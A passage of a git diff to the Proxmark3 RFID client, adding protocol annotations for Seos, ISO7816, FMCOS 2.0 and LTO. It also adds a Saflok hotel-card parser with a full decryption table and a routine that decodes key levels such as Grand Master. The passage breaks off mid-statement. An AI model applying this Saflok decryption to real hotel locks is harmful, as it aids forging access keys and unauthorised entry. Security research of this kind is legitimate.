isResponse, uint8_t *d, uint8_t n) { In conclusion, without looking at the command; any response of length 10 or 34 should have CRC **/ - if (n != 10 && n != 34) return true; + if (n != 10 && n != 34) return 2; return check_crc(CRC_ICLASS, d, n); } @@ -273,9 +299,11 @@ int applyIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool i snprintf(exp, size, "HALT"); MifareAuthState = masNone; break; - case ISO14443A_CMD_RATS: - snprintf(exp, size, "RATS - FSDI=%x, CID=%x", (cmd[1] & 0xF0) >> 4, (cmd[1] & 0x0F)); + case ISO14443A_CMD_RATS: { + uint16_t fsdi2fsd[] = {16, 24, 32, 40, 48, 64, 96, 128, 256, 512, 1024, 2048, 4096, 4096, 4096, 4096}; + snprintf(exp, size, "RATS - FSDI=%x (FSD=%u), CID=%x", (cmd[1] & 0xF0) >> 4, fsdi2fsd[(cmd[1] & 0xF0) >> 4], (cmd[1] & 0x0F)); break; + } /* Actually, PPSS is Dx case ISO14443A_CMD_PPS: snprintf(exp, size, "PPS"); @@ -421,14 +449,14 @@ int applyIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool i snprintf(exp, size, "?"); break; } - case NTAG_I2C_FASTWRITE: + case NTAG_I2C_FASTWRITE: { if (cmdsize == 69) snprintf(exp, size, "FAST WRITE (" _MAGENTA_("%d-%d") ")", cmd[1], cmd[2]); else snprintf(exp, size, "?"); break; - - default: + } + default: { if ((cmd[0] & 0xF0) == 0xD0 && (cmdsize == 4 || cmdsize == 5)) { snprintf(exp, size, "PPS - CID=%x", cmd[0] & 0x0F) ; } else if ((cmd[0] & 0xF0) == 0x60 && (cmdsize == 4)) { @@ -437,8 +465,11 @@ int applyIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool i } else { return PM3_ESOFT; } + } } + } else { + if (gs_mfuc_state == 1) { if ((cmd[0] == 0xAF) && (cmdsize == 11)) { // register RndB @@ -448,6 +479,7 @@ int applyIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool i gs_mfuc_state = 0; } } + if (gs_mfuc_state == 3) { if ((cmd[0] == 0x00) && (cmdsize == 11)) { // register RndA' @@ -767,14 +799,20 @@ void annotateTopaz(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } // iso 7816-3 -void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { +void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool is_response) { - if (cmdsize < 2) + if (cmdsize < 2) { return; + } + + if (is_response) { + return; + } // S-block - if ((cmd[0] & 0xC0) && (cmdsize == 3)) { - switch ((cmd[0] & 0x3f)) { + if ((cmd[0] & 0xC0) && ((cmdsize == 3) || (cmdsize == 4))) { + + switch ((cmd[0] & 0x3F)) { case 0x00 : snprintf(exp, size, "S-block RESYNCH req"); break; @@ -799,6 +837,9 @@ void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case 0x23 : snprintf(exp, size, "S-block WTX resp"); break; + case 0x32: + snprintf(exp, size, "S-block WTX req"); + break; default : snprintf(exp, size, "S-block"); break; @@ -813,6 +854,7 @@ void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } // I-block else { + int pos = 0; switch (cmd[0]) { case 2: @@ -826,6 +868,7 @@ void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { pos = 3; break; } + switch (cmd[pos]) { case ISO7816_READ_BINARY: snprintf(exp, size, "READ BIN"); @@ -1746,49 +1789,115 @@ void annotateCryptoRF(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } } -void annotateSeos(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { +void annotateSeos(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool isResponse) { + + if (cmd[0] == 0xFA && cmdsize == 5) { + snprintf(exp, size, (isResponse) ? "BUSY" : "DONE?"); + return; + } // it's basically a ISO14443a tag, so try annotation from there if (applyIso14443a(exp, size, cmd, cmdsize, false) != PM3_SUCCESS) { + annotateIso7816(exp, size, cmd, cmdsize, isResponse); + int pos = 0; switch (cmd[0]) { - case 2: - case 3: - pos = 2; - break; case 0: + case 2: + case 3: { pos = 1; break; - default: + } + default: { pos = 2; break; + } } - if (memcmp(cmd + pos, "\x00\xa4\x04\x00\x0a", 5) == 0) { - snprintf(exp, size, "SELECT AID"); + if (memcmp(cmd + pos, "\x00\xA4\x04\x00", 4) == 0) { + uint8_t n = cmd[pos + 4]; + snprintf(exp, size, "SELECT AID " _WHITE_("%s"), sprint_hex_inrow(cmd + pos + 4 + 1, n)); + return; + } + + if (memcmp(cmd + pos, "\x80\xA5\x00\x00", 4) == 0) { + snprintf(exp, size, "SELECT GDF"); + return; } if (memcmp(cmd + pos, "\x80\xA5\x04\x00", 4) == 0) { - snprintf(exp, size, "SELECT ADF / OID"); + uint8_t n = cmd[pos + 4 + 2]; + snprintf(exp, size, "SELECT OID " _WHITE_("%s"), sprint_hex_inrow(cmd + pos + 4 + 2 + 1, n)); + return; } - if (memcmp(cmd + pos, "\x00\x87\x00\x01\x04\x7c\x02\x81\x00", 9) == 0) { - snprintf(exp, size, "GET CHALLENGE"); + if (memcmp(cmd + pos, "\x80\xA5\x07", 3) == 0) { + uint8_t ks = cmd[pos + 3]; + snprintf(exp, size, "SELECT GDF " _WHITE_("(") " key " _MAGENTA_("%02X") " )", ks); + return; } - if (memcmp(cmd + pos, "\x00\x87\x00\x01\x2c", 5) == 0) { - snprintf(exp, size, "MUTUAL AUTHENTICATION"); + if (memcmp(cmd + pos, "\x00\x87\x00", 3) == 0) { + + uint8_t ks = cmd[pos + 3]; + if (memcmp(cmd + pos + 3 + 1, "\x04\x7c\x02\x81\x00", 5) == 0) { + snprintf(exp, size, "GET CHALLENGE " _WHITE_("(") " key " _MAGENTA_("%02X") " )", ks); + return; + } + + if (memcmp(cmd + pos + 3 + 1, "\x2C\x7C\x2A\x82\x28", 5) == 0) { + snprintf(exp, size, "MUTUAL AUTHENTICATION " _WHITE_("(") " key " _MAGENTA_("%02X") " )", ks); + } + return; } - if (memcmp(cmd + pos, "\x0c\xcb\x3f\xff", 4) == 0) { + if (memcmp(cmd + pos, "\x0C\xCB\x3F\xFF", 4) == 0) { snprintf(exp, size, "GET DATA"); + return; } - // apply ISO7816 annotations? -// if (annotateIso7816(exp, size, cmd, cmdsize) == 0) { -// } - // apply SEOS annotations? + if (memcmp(cmd + pos, "\x0C\xDB\x3F\xFF", 4) == 0) { + snprintf(exp, size, "UPDATE DATA"); + return; + } + + if (memcmp(cmd + pos, "\x0C\xED\x06\x00", 4) == 0) { + snprintf(exp, size, "DELETE DATA"); + return; + } + + if (memcmp(cmd + pos, "\x0C\x41\x0C\x03", 4) == 0) { + snprintf(exp, size, "CREATE ADF"); + return; + } + + if (isResponse) { + + if (memcmp(cmd + pos, "\xCD\x02", 2) == 0) { + + uint8_t ea = cmd[pos + 2]; + uint8_t ha = cmd[pos + 3]; + + char eas[10] = {0}; + if (ea == SEOS_ENCRYPTION_2K3DES) { + strcat(eas, "2K3DES"); + } else if (ea == SEOS_ENCRYPTION_3K3DES) { + strcat(eas, "3K3DES"); + } else if (ea == SEOS_ENCRYPTION_AES) { + strcat(eas, "AES"); + } + + char has[10] = {0}; + if (ha == SEOS_HASHING_SHA1) { + strcat(has, "SHA1"); + } else if (ha == SEOS_HASHING_SHA256) { + strcat(has, "SHA256"); + } + snprintf(exp, size, "%s / %s", eas, has); + return; + } + } } } @@ -1828,11 +1937,13 @@ void annotateLegic(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { uint16_t address = (cmd[2] << 7) | cmd[1] >> 1; - if (cmdBit == LEGIC_READ) + if (cmdBit == LEGIC_READ) { snprintf(exp, size, "READ Byte(%d)", address); + } - if (cmdBit == LEGIC_WRITE) + if (cmdBit == LEGIC_WRITE) { snprintf(exp, size, "WRITE Byte(%d)", address); + } break; } case 21: { @@ -1852,8 +1963,9 @@ void annotateLegic(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { break; } case 12: - default: + default: { break; + } } } @@ -2373,3 +2485,167 @@ uint64_t GetCrypto1ProbableKey(AuthData_t *ad) { crypto1_destroy(revstate); return key; } + +// FMCOS 2.0 +void annotateFMCOS20(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { + + if (cmdsize < 2) + return; + + int pos = 0; + switch (cmd[0]) { + case 2: + case 3: + pos = 2; + break; + case 0: + pos = 1; + break; + default: + pos = 3; + break; + } + switch (cmd[pos]) { + case FMCOS20_CMD_EXTERNAL_AUTHENTICATION: + snprintf(exp, size, "EXT. AUTH"); + break; + case FMCOS20_CMD_GET_CHALLENGE: + snprintf(exp, size, "GET CHALLENGE"); + break; + case FMCOS20_CMD_INTERNAL_AUTHENTICATION: + snprintf(exp, size, "INT. AUTH"); + break; + case FMCOS20_CMD_SELECT: + snprintf(exp, size, "SELECT"); + break; + case FMCOS20_CMD_VERIFY_PIN: + snprintf(exp, size, "VERIFY PIN"); + break; + case FMCOS20_CMD_READ_BINARY: + snprintf(exp, size, "READ BINARY"); + break; + case FMCOS20_CMD_READ_RECORD: + snprintf(exp, size, "READ RECORD"); + break; + case FMCOS20_CMD_UPDATE_BINARY: + snprintf(exp, size, "UPDATE BINARY"); + break; + case FMCOS20_CMD_UPDATE_RECORD: + snprintf(exp, size, "UPDATE RECORD"); + break; + case FMCOS20_CMD_APPEND_RECORD: + snprintf(exp, size, "APPEND RECORD"); + break; + case FMCOS20_CMD_ERASE_DF: + snprintf(exp, size, "ERASE DF"); + break; + case FMCOS20_CMD_WRITE_KEY: + snprintf(exp, size, "WRITE KEY"); + break; + case FMCOS20_CMD_CREATE_FILE: + snprintf(exp, size, "CREATE FILE"); + break; + case FMCOS20_CMD_CARD_BLOCK: + snprintf(exp, size, "CARD BLOCK"); + break; + case FMCOS20_CMD_APP_UNBLOCK: + snprintf(exp, size, "APP UNBLOCK"); + break; + case FMCOS20_CMD_APP_BLOCK: + if (cmd[pos + 1] == 0) + snprintf(exp, size, "APP BLOCK (TEMP)"); + else if (cmd[pos + 1] == 1) + snprintf(exp, size, "APP BLOCK (PERM)"); + else + snprintf(exp, size, "APP BLOCK"); + break; + case FMCOS20_CMD_PIN_UNBLOCK: + snprintf(exp, size, "PIN UNBLOCK"); + break; + case FMCOS20_CMD_CHANGE_PIN: + if (cmd[pos + 1] == 0) + snprintf(exp, size, "RESET PIN"); + else if (cmd[pos + 1] == 1) + snprintf(exp, size, "CHANGE PIN"); + break; + case FMCOS20_CMD_INITIALIZE_TRANSACTION: + if (cmd[pos + 1] == 0) + snprintf(exp, size, "INIT. TRANSACTION (CREDIT)"); + else if (cmd[pos + 1] == 1) + snprintf(exp, size, "INIT. TRANSACTION (PURCHASE)"); + else if (cmd[pos + 1] == 2) + snprintf(exp, size, "INIT. TRANSACTION (CASH WITHDRAW)"); + else if (cmd[pos + 1] == 3) + snprintf(exp, size, "INIT. TRANSACTION (CAPP PURCHASE)"); + else if (cmd[pos + 1] == 4) + snprintf(exp, size, "INIT. TRANSACTION (OVERDRAFT)"); + else if (cmd[pos + 1] == 5) + snprintf(exp, size, "INIT. TRANSACTION (WITHDRAW)"); + break; + case FMCOS20_CMD_CREDIT_LOAD: + snprintf(exp, size, "CREDIT LOAD"); + break; + case FMCOS20_CMD_PURCHASE: + if (cmd[pos + 1] == 0) + snprintf(exp, size, "PURCHASE"); + else if (cmd[pos + 1] == 1) + snprintf(exp, size, "CAPP PURCHASE / CASH WITHDRAW"); + else if (cmd[pos + 1] == 3) + snprintf(exp, size, "WITHDRAW"); + break; + case FMCOS20_CMD_UPDATE_OVERDRAW_LIMIT: + snprintf(exp, size, "UPDATE OVERDRAFT"); + break; + case FMCOS20_CMD_GET_TRANSACTION_PROOF: + snprintf(exp, size, "TRANSACTION RECORD"); + break; + case FMCOS20_CMD_GET_BALANCE: + snprintf(exp, size, "GET BALANCE"); + break; + case FMCOS20_CMD_INITIALIZE_GREY_LOCK_UNLOCK: + if (cmd[pos + 1] == 8) + snprintf(exp, size, "INIT. GRAY LOCK"); + else if (cmd[pos + 1] == 9) + snprintf(exp, size, "INIT. GRAY UNLOCK"); + break; + case FMCOS20_CMD_GREY_LOCK_UNLOCK: + if (cmd[pos + 1] == 8) + snprintf(exp, size, "GRAY LOCK"); + else if (cmd[pos + 1] == 9) + snprintf(exp, size, "GRAY UNLOCK"); + break; + case FMCOS20_CMD_DEBIT_UNLOCK: + snprintf(exp, size, "DEBIT UNLOCK"); + break; + case FMCOS20_CMD_CALCULATE_ROM_CRC: + snprintf(exp, size, "CALC. ROM CRC"); + break; + case FMCOS20_CMD_GET_RESPONSE: + snprintf(exp, size, "GET RESPONSE"); + break; + case FMCOS20_CMD_UNBLOCK: + snprintf(exp, size, "UNBLOCK"); + break; + case FMCOS20_CMD_PULL: + snprintf(exp, size, "PULL"); + break; + case FMCOS20_CMD_CHARGE: + snprintf(exp, size, "CHARGE"); + break; + case FMCOS20_CMD_WRITE_EEPROM: + snprintf(exp, size, "WRITE EEPROM"); + break; + case FMCOS20_CMD_READ_EEPROM: + snprintf(exp, size, "READ EEPROM"); + break; + case FMCOS20_CMD_INITIALIZE_EEPROM: + snprintf(exp, size, "INIT. EEPROM"); + break; + case FMCOS20_CMD_READ_ROM: + snprintf(exp, size, "READ ROM"); + break; + default: + //snprintf(exp, size, "?"); + break; + } +} diff --git a/client/src/cmdhflist.h b/client/src/cmdhflist.h index cbe18e92c..0f8c526b3 100644 --- a/client/src/cmdhflist.h +++ b/client/src/cmdhflist.h @@ -46,6 +46,7 @@ uint8_t felica_CRC_check(uint8_t *d, uint8_t n); uint8_t mifare_CRC_check(bool isResponse, uint8_t *data, uint8_t len); uint8_t iso15693_CRC_check(uint8_t *d, uint8_t n); uint8_t iclass_CRC_check(bool isResponse, uint8_t *d, uint8_t n); +uint8_t seos_CRC_check(bool isResponse, uint8_t *d, uint8_t n); int applyIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool is_response); @@ -54,7 +55,7 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateTopaz(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateLegic(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); -void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateIso7816(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool is_response); void annotateIso14443b(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool is_response); void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); @@ -68,7 +69,7 @@ void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateCryptoRF(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); -void annotateSeos(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateSeos(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, bool isResponse); bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen, const uint64_t *dicKeys, uint32_t dicKeysCount); bool NTParityChk(AuthData_t *ad, uint32_t ntx); @@ -76,4 +77,6 @@ bool NestedCheckKey(uint64_t key, AuthData_t *ad, uint8_t *cmd, uint8_t cmdsize, bool CheckCrypto1Parity(const uint8_t *cmd_enc, uint8_t cmdsize, uint8_t *cmd, const uint8_t *parity_enc); uint64_t GetCrypto1ProbableKey(AuthData_t *ad); +void annotateFMCOS20(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); + #endif // CMDHFLIST diff --git a/client/src/cmdhflto.c b/client/src/cmdhflto.c index 6ffe115c0..1eadb3d67 100644 --- a/client/src/cmdhflto.c +++ b/client/src/cmdhflto.c @@ -131,8 +131,8 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 SendCommandMIX(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { + if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -438,7 +438,7 @@ int reader_lto(bool loop, bool verbose) { PrintAndLogEx(INFO, "UID......... " _GREEN_("%s"), sprint_hex_inrow(serial, sizeof(serial))); } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); lto_switch_off_field(); return ret; @@ -682,7 +682,7 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { int res = wrblLTO(blk, block_data, true); if (res == PM3_SUCCESS) - PrintAndLogEx(HINT, "Try use 'hf lto rdbl' for verification"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf lto rdbl") "` to verify"); return res; } @@ -755,8 +755,8 @@ static int CmdHfLTODump(const char *Cmd) { uint32_t dump_len = CM_MEM_MAX_SIZE; uint8_t *dump = calloc(dump_len, sizeof(uint8_t)); - if (!dump) { - PrintAndLogEx(ERR, "error, cannot allocate memory"); + if (dump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 0e9a41846..e35b6e18f 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -45,9 +45,305 @@ #include "mifare/gen4.h" #include "generator.h" // keygens. #include "fpga.h" +#include "mifare/mifarehost.h" +#include "crypto/originality.h" + +// Defines for Saflok parsing +#define SAFLOK_YEAR_OFFSET 1980 +#define SAFLOK_BASIC_ACCESS_BYTE_NUM 17 + +typedef struct { + uint64_t a; + uint64_t b; +} MfClassicKeyPair; + +// Structure for Saflok key levels +typedef struct { + uint8_t level_num; + const char *level_name; +} SaflokKeyLevel; static int CmdHelp(const char *Cmd); +// Static array for Saflok key levels +static const SaflokKeyLevel saflok_key_levels[] = { + {1, "Guest Key"}, + {2, "Connectors"}, + {3, "Suite"}, + {4, "Limited Use"}, + {5, "Failsafe"}, + {6, "Inhibit"}, + {7, "Pool/Meeting Master"}, + {8, "Housekeeping"}, + {9, "Floor Key"}, + {10, "Section Key"}, + {11, "Rooms Master"}, + {12, "Grand Master"}, + {13, "Emergency"}, + {14, "Electronic Lockout"}, + {15, "Secondary Programming Key (SPK)"}, + {16, "Primary Programming Key (PPK)"}, +}; + +// Lookup table for Saflok decryption +static const uint8_t saflok_c_aDecode[256] = { + 0xEA, 0x0D, 0xD9, 0x74, 0x4E, 0x28, 0xFD, 0xBA, 0x7B, 0x98, 0x87, 0x78, 0xDD, 0x8D, 0xB5, + 0x1A, 0x0E, 0x30, 0xF3, 0x2F, 0x6A, 0x3B, 0xAC, 0x09, 0xB9, 0x20, 0x6E, 0x5B, 0x2B, 0xB6, + 0x21, 0xAA, 0x17, 0x44, 0x5A, 0x54, 0x57, 0xBE, 0x0A, 0x52, 0x67, 0xC9, 0x50, 0x35, 0xF5, + 0x41, 0xA0, 0x94, 0x60, 0xFE, 0x24, 0xA2, 0x36, 0xEF, 0x1E, 0x6B, 0xF7, 0x9C, 0x69, 0xDA, + 0x9B, 0x6F, 0xAD, 0xD8, 0xFB, 0x97, 0x62, 0x5F, 0x1F, 0x38, 0xC2, 0xD7, 0x71, 0x31, 0xF0, + 0x13, 0xEE, 0x0F, 0xA3, 0xA7, 0x1C, 0xD5, 0x11, 0x4C, 0x45, 0x2C, 0x04, 0xDB, 0xA6, 0x2E, + 0xF8, 0x64, 0x9A, 0xB8, 0x53, 0x66, 0xDC, 0x7A, 0x5D, 0x03, 0x07, 0x80, 0x37, 0xFF, 0xFC, + 0x06, 0xBC, 0x26, 0xC0, 0x95, 0x4A, 0xF1, 0x51, 0x2D, 0x22, 0x18, 0x01, 0x79, 0x5E, 0x76, + 0x1D, 0x7F, 0x14, 0xE3, 0x9E, 0x8A, 0xBB, 0x34, 0xBF, 0xF4, 0xAB, 0x48, 0x63, 0x55, 0x3E, + 0x56, 0x8C, 0xD1, 0x12, 0xED, 0xC3, 0x49, 0x8E, 0x92, 0x9D, 0xCA, 0xB1, 0xE5, 0xCE, 0x4D, + 0x3F, 0xFA, 0x73, 0x05, 0xE0, 0x4B, 0x93, 0xB2, 0xCB, 0x08, 0xE1, 0x96, 0x19, 0x3D, 0x83, + 0x39, 0x75, 0xEC, 0xD6, 0x3C, 0xD0, 0x70, 0x81, 0x16, 0x29, 0x15, 0x6C, 0xC7, 0xE7, 0xE2, + 0xF6, 0xB7, 0xE8, 0x25, 0x6D, 0x3A, 0xE6, 0xC8, 0x99, 0x46, 0xB0, 0x85, 0x02, 0x61, 0x1B, + 0x8B, 0xB3, 0x9F, 0x0B, 0x2A, 0xA8, 0x77, 0x10, 0xC1, 0x88, 0xCC, 0xA4, 0xDE, 0x43, 0x58, + 0x23, 0xB4, 0xA1, 0xA5, 0x5C, 0xAE, 0xA9, 0x7E, 0x42, 0x40, 0x90, 0xD2, 0xE9, 0x84, 0xCF, + 0xE4, 0xEB, 0x47, 0x4F, 0x82, 0xD4, 0xC5, 0x8F, 0xCD, 0xD3, 0x86, 0x00, 0x59, 0xDF, 0xF2, + 0x0C, 0x7C, 0xC6, 0xBD, 0xF9, 0x7D, 0xC4, 0x91, 0x27, 0x89, 0x32, 0x72, 0x33, 0x65, 0x68, + 0xAF +}; + +// Function to decrypt Saflok card data +static void DecryptSaflokCardData( + const uint8_t strCard[SAFLOK_BASIC_ACCESS_BYTE_NUM], + uint8_t decryptedCard[SAFLOK_BASIC_ACCESS_BYTE_NUM] +) { + int i; + int num; + int num2; + int num3; + int num4; + int b = 0; + int b2 = 0; + + for (i = 0; i < SAFLOK_BASIC_ACCESS_BYTE_NUM; i++) { + num = saflok_c_aDecode[strCard[i]] - (i + 1); + if (num < 0) num += 256; + decryptedCard[i] = num; + } + + b = decryptedCard[10]; + b2 = b & 1; + + for (num2 = SAFLOK_BASIC_ACCESS_BYTE_NUM; num2 > 0; num2--) { + b = decryptedCard[num2 - 1]; + for (num3 = 8; num3 > 0; num3--) { + num4 = num2 + num3; + if (num4 > SAFLOK_BASIC_ACCESS_BYTE_NUM) num4 -= SAFLOK_BASIC_ACCESS_BYTE_NUM; + int b3 = decryptedCard[num4 - 1]; + int b4 = (b3 & 0x80) >> 7; + b3 = ((b3 << 1) & 0xFF) | b2; + b2 = (b & 0x80) >> 7; + b = ((b << 1) & 0xFF) | b4; + decryptedCard[num4 - 1] = b3; + } + decryptedCard[num2 - 1] = b; + } +} + +// Function to calculate Saflok checksum +static uint8_t CalculateCheckSum(uint8_t data[SAFLOK_BASIC_ACCESS_BYTE_NUM]) { + int sum = 0; + for (int i = 0; i < SAFLOK_BASIC_ACCESS_BYTE_NUM - 1; i++) { + sum += data[i]; + } + sum = 255 - (sum & 0xFF); + return sum & 0xFF; +} + +// Function to parse and print Saflok data +static void ParseAndPrintSaflokData(const sector_t *sector0_info, const sector_t *sector1_info) { + (void)sector1_info; // Not directly used for payload parsing currently + + if (sector0_info == NULL) { + PrintAndLogEx(WARNING, "Saflok: Sector 0 information not available for parsing"); + return; + } + + uint8_t key_bytes_for_s0[MIFARE_KEY_SIZE]; + uint8_t key_type_for_s0; // CORRECTED: Was MifareKeyType, now uint8_t + bool s0_key_found = false; + + // Prioritize Key A for Sector 0 if available + if (sector0_info->foundKey[MF_KEY_A]) { + num_to_bytes(sector0_info->Key[MF_KEY_A], MIFARE_KEY_SIZE, key_bytes_for_s0); + key_type_for_s0 = MF_KEY_A; // MF_KEY_A is typically #define'd as 0x60 + s0_key_found = true; + PrintAndLogEx(DEBUG, "Saflok: Using Sector 0 Key A for reading blocks"); + } else if (sector0_info->foundKey[MF_KEY_B]) { // Fallback to Key B for Sector 0 + num_to_bytes(sector0_info->Key[MF_KEY_B], MIFARE_KEY_SIZE, key_bytes_for_s0); + key_type_for_s0 = MF_KEY_B; // MF_KEY_B is typically #define'd as 0x61 + s0_key_found = true; + PrintAndLogEx(DEBUG, "Saflok: Using Sector 0 Key B for reading blocks"); + } + + if (s0_key_found == false) { + PrintAndLogEx(WARNING, "Saflok: No known keys for Sector 0. Cannot read blocks 1 & 2 for parsing"); + return; + } + + uint8_t block1_content[MFBLOCK_SIZE]; + uint8_t block2_content[MFBLOCK_SIZE]; + + // Read absolute block 1 (data block within sector 0) + if (mf_read_block(1, key_type_for_s0, key_bytes_for_s0, block1_content) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Saflok: Failed to read card Block 1 using Sector 0 %s key", (key_type_for_s0 == MF_KEY_A) ? "A" : "B"); + return; + } + PrintAndLogEx(DEBUG, "Saflok: Successfully read card Block 1"); + + // Read absolute block 2 (data block within sector 0) + if (mf_read_block(2, key_type_for_s0, key_bytes_for_s0, block2_content) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Saflok: Failed to read card Block 2 using Sector 0 %s key", (key_type_for_s0 == MF_KEY_A) ? "A" : "B"); + return; + } + PrintAndLogEx(DEBUG, "Saflok: Successfully read card Block 2"); + + uint8_t basicAccess[SAFLOK_BASIC_ACCESS_BYTE_NUM]; + uint8_t decodedBA[SAFLOK_BASIC_ACCESS_BYTE_NUM]; + + memcpy(basicAccess, block1_content, MFBLOCK_SIZE); // 16 bytes from Block 1 + memcpy(basicAccess + MFBLOCK_SIZE, block2_content, 1); // 1 byte from Block 2 + + DecryptSaflokCardData(basicAccess, decodedBA); + + + // Byte 0: Key level, LED warning bit, and subgroup functions + uint8_t key_level = (decodedBA[0] & 0xF0) >> 4; + uint8_t led_warning = (decodedBA[0] & 0x08) >> 3; + + // Byte 1: Key ID + uint8_t key_id = decodedBA[1]; + + // Byte 2 & 3: KeyRecord, including OpeningKey flag + uint8_t opening_key = (decodedBA[2] & 0x80) >> 7; + uint16_t key_record = ((decodedBA[2] & 0x3F) << 8) | decodedBA[3]; + + // Byte 5 & 6: EncryptSequence + Combination + uint16_t sequence_combination_number = ((decodedBA[5] & 0x0F) << 8) | decodedBA[6]; + + // Byte 7: OverrideDeadbolt and Days + uint8_t override_deadbolt = (decodedBA[7] & 0x80) >> 7; + uint8_t restricted_weekday = decodedBA[7] & 0x7F; + + // Weekday names array + static const char *weekdays[] = {"Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"}; + + // Buffer to store the resulting string (sufficient size for all weekdays) + char restricted_weekday_string[128] = {0}; + int restricted_count = 0; + + // Check each bit from Monday to Sunday + for (int i = 0; i < 7; i++) { + if (restricted_weekday & (0b01000000 >> i)) { + // If the bit is set, append the corresponding weekday to the buffer + if (restricted_count > 0) { + strcat(restricted_weekday_string, ", "); + } + strcat(restricted_weekday_string, weekdays[i]); + restricted_count++; + } + } + + // Determine if all weekdays are restricted + if (restricted_weekday == 0b01111100) { + strcpy(restricted_weekday_string, "weekdays"); + } + // If there are specific restricted days + else if (restricted_weekday == 0b00000011) { + strcpy(restricted_weekday_string, "weekends"); + } + // If no weekdays are restricted + else if (restricted_weekday == 0) { + strcpy(restricted_weekday_string, "none"); + } + + // Bytes 14-15: Property number and part of creation year + uint8_t creation_year_high_bits = (decodedBA[14] & 0xF0); + uint16_t property_id = ((decodedBA[14] & 0x0F) << 8) | decodedBA[15]; + + // Bytes 11-13: Creation date since SAFLOK_YEAR_OFFSET Jan 1st + uint16_t creation_year = (creation_year_high_bits | (decodedBA[11] >> 4)) + SAFLOK_YEAR_OFFSET; + uint8_t creation_month = decodedBA[11] & 0x0F; + uint8_t creation_day = (decodedBA[12] >> 3) & 0x1F; + uint8_t creation_hour = ((decodedBA[12] & 0x07) << 2) | ((decodedBA[13] & 0xC0) >> 6); + uint8_t creation_minute = decodedBA[13] & 0x3F; + + // Bytes 8-10: Expiry interval / absolute time components + uint8_t interval_year_val = (decodedBA[8] >> 4); + uint8_t interval_month_val = decodedBA[8] & 0x0F; + uint8_t interval_day_val = (decodedBA[9] >> 3) & 0x1F; + uint8_t expiry_hour = ((decodedBA[9] & 0x07) << 2) | ((decodedBA[10] & 0xC0) >> 6); + uint8_t expiry_minute = decodedBA[10] & 0x3F; + + uint16_t expire_year = creation_year + interval_year_val; + uint8_t expire_month = creation_month + interval_month_val; + uint8_t expire_day = creation_day + interval_day_val; + + // Handle month rollover for expiration + while (expire_month > 12) { + expire_month -= 12; + expire_year++; + } + + // Handle day rollover for expiration + static const uint8_t days_in_month_lookup[] = {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; // 1-indexed month + if (expire_month > 0 && expire_month <= 12) { + + while (true) { + + uint8_t max_days = days_in_month_lookup[expire_month]; + if (expire_month == 2 && + (expire_year % 4 == 0 && + (expire_year % 100 != 0 || expire_year % 400 == 0))) { + max_days = 29; // Leap year + } + + if (expire_day <= max_days) { + break; + } + + if (max_days == 0) { // Should not happen with valid month + PrintAndLogEx(WARNING, "Saflok: Invalid day/month for expiration rollover calculation"); + break; + } + + expire_day -= max_days; + expire_month++; + if (expire_month > 12) { + expire_month = 1; + expire_year++; + } + } + + } else if (expire_month != 0) { // Allow 0 if it signifies no expiration or error + PrintAndLogEx(WARNING, "Saflok: Invalid expiration month (%u) before day rollover", expire_month); + } + + uint8_t checksum = decodedBA[16]; + uint8_t checksum_calculated = 